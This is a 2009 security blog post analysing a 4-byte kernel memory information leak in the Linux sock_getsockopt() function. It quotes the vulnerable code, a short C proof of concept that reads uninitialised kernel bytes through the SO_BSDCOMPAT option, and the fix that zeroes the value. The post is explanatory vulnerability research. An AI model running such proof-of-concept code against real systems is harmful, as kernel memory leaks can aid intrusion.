xorl %eax, %eax

Linux kernel sock_getsockopt() Information Leak

leave a comment »

Well, first of all this is nothing important however it’s a nice example of this vulnerability class. I found information about this bug while reading 2.6.28.6’s changelog. As I already said, it’s just a 4 Bytes infoleak, nothing to really worry about and affects Linux kernel prior to 2.6.27.6 release (don’t know which exact releases though). According to the changelog, this had been committed by Clément Lecigne on 12 February 2009. Anyway, the following buggy code is ripped from Linux kernel 2.6.28.5 release (which it IS vulnerable). The bug can be found under net/core/sock.c. Here is a strippied down version of the vulnerability:

680 int sock_getsockopt(struct socket *sock, int level, int optname,
681                     char __user *optval, int __user *optlen)
682 {
       ...
685        union {
686                int val;
       ...
689        } v;
       ...
692        int len;
       ...
694        if (get_user(len, optlen))
       ...
699        switch(optname) {

Now, every optname initializes val member of the union v of line 685. What Lecigne noticed is the following possible optname:

756        case SO_BSDCOMPAT:
757                sock_warn_obsolete_bsdism("getsockopt");
758                break;

Here the v.val is not being initialized thus it contains random data from previous allocations. When the switch statement terminates, here is what happens:

843        }
       ...
847        if (copy_to_user(optval, &v, len))
       ...
852        return 0;
853 }

This way, a call to sock_getsockopt() requesting SO_BSDCOMPAT can lead to 4 Bytes information leak from kernel memory since val is of type integer which has size of 32bit. Lecigne also provided a simple PoC for the above vulnerability, here it is:

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

    int main(void)
    {
        unsigned char buf[4] = { 0, 0, 0, 0 };
        int len;
        int sock;
        sock = socket(33, 2, 2);
        getsockopt(sock, 1, SO_BSDCOMPAT, &buf, &len);
        printf("%x%x%x%x\n", buf[0], buf[1], buf[2], buf[3]);
        close(sock);
    }

Well nothing really exciting. Finally, here is the patch which just initializes v.val to 0 to avoid this infoleak.

         return -EINVAL;

+    v.val = 0;
+
    switch(optname) {

Written by xorl

February 18, 2009 at 18:41

Posted in bugs, linux

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s